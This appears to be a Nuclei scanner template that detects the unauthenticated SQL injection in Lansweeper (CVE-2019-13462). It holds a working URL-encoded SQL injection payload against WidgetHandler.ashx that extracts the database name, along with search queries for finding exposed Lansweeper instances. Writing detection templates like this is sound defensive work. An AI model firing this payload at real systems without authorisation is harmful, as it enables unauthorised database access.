id: CVE-2019-13462

info:
  name: Lansweeper Unauthenticated SQL Injection
  author: divya_mudgal
  severity: critical
  description: Lansweeper before 7.1.117.4 allows unauthenticated SQL injection.
  impact: |
    This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire Lansweeper system.
  remediation: |
    Apply the latest security patch or update provided by Lansweeper to fix the SQL Injection vulnerability.
  reference:
    - https://www.nccgroup.com/ae/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://nvd.nist.gov/vuln/detail/CVE-2019-13462
    - https://www.nccgroup.trust/uk/our-research/technical-advisory-unauthenticated-sql-injection-in-lansweeper/
    - https://www.lansweeper.com/forum/yaf_topics33_Announcements.aspx
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2019-13462
    cwe-id: CWE-89
    epss-score: 0.11401
    epss-percentile: 0.95441
    cpe: cpe:2.3:a:lansweeper:lansweeper:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: lansweeper
    product: lansweeper
    shodan-query: http.title:"lansweeper - login"
    fofa-query: title="lansweeper - login"
    google-query: intitle:"lansweeper - login"
  tags: cve,cve2019,sqli,lansweeper,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/WidgetHandler.ashx?MethodName=Sort&ID=1&row=1&column=%28SELECT%20CONCAT%28CONCAT%28CHAR%28126%29%2C%28SELECT%20SUBSTRING%28%28ISNULL%28CAST%28db_name%28%29%20AS%20NVARCHAR%284000%29%29%2CCHAR%2832%29%29%29%2C1%2C1024%29%29%29%2CCHAR%28126%29%29%29'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "~lansweeperdb~"

      - type: word
        part: header
        words:
          - text/plain

      - type: status
        status:
          - 500
# digest: 490a004630440220045828a5b68bb5f184111a387b6461d814a55e2436d3e4ec536150baefdc2bd902207a7f7233e676e538897aaac6c9df6c32a0d66077e8882ab2cf66fa9b82a17e3a:922c64590222798bb761d5b6d8e72950